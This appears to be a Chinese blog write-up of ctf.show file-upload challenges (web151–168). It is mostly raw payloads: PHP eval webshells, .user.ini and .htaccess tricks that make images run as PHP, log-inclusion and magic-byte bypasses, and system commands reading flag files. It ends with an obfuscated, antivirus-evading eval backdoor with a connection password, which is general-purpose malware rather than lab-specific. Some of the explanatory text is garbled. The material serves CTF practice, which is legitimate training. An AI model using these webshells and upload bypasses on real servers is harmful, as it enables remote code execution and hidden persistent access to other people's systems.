本文已参与「新人创作礼」活动,一起开启掘金创作之路。
CTF秀
文件上传
web151
第一个非常简单
是js验证的
改一下就可以了
web152
这第二关就是类型上的绕过
你会发现他支持png的不支持jpg的
那么我们只需要改一下他的类型就可以了
用蚁剑去连接
web153
后缀变异
php5
但是呢这虽然可以绕过但是不能连接上前
这就是解析上的一个问题了
那么我们怎么绕过并且连接上去呢
由于对方是nightj不是我们的apache
所有我们不能用解析器饶过
但是nighit可以用user.in绕过
user.ini
auto_prepend_file = 1.png
这就是user.in去包含1.png这个文件
木马
phpinfo();
@eval($_POST['shell']);
我没实验成功
web154
首先上传.user.ini
然后上1.png
<?php
@eval($_POST['shell']);
?>
然后访问index.php
POST输入
shell=system("tac ../fl*");
或者
shell=system("tac ../flag.php");
web155
web156
156 JS验证+user.ini+短标签+过滤
.user.ini
.user.ini:auto_prepend_file=test.png
test.png
<?=eval($_POST{x});?>
x=system("tac ../fl*");
x=system("tac ../flag.php");
web157-web158
.user.ini
auto_append_file=157.png
157.png
<?=(system("tac ../fl*"))?>
web159
159.png
<?=`tac ../fl*`?>
.user.ini
auto_append_file=159.png
web160
.user.ini
auto_prepend_file=test.png
test.png
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
web161
.user.ini
GIF89A auto_prepend_file=test.png
test.png
GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>
web162
web163
.user.ini
GIF89A
auto_append_file=/tmp/sess_hahaha
web164-web165
web166
166.zip
<?=`tac ../fl*`?>
上传上去
然后
1d21c2ea-7a90-44cd-b342-6797f8837017.challenge.ctf.show/upload/down…
下载下来
web167
他只允许上传jpg文件
我们就上传jpg文件任何抓包
再改成.htaccess文件
.htaccess
SetHandler application/x-httpd-php
1.jpg文件
<?php system("tac ../fl*");?>
然后访问
/upload/1.jpg
web168
上传png
然后改成php
免杀木马
<?php
$a=strrev("metsys");
$a($_REQUEST[0]);
?>
// 使用时请删除此行, 连接密码: TyKPuntU ?>
<?php
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>